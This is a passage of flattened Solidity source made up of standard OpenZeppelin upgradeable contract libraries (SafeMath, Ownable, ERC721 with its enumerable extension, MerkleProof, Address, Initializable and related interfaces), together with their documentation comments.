uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * 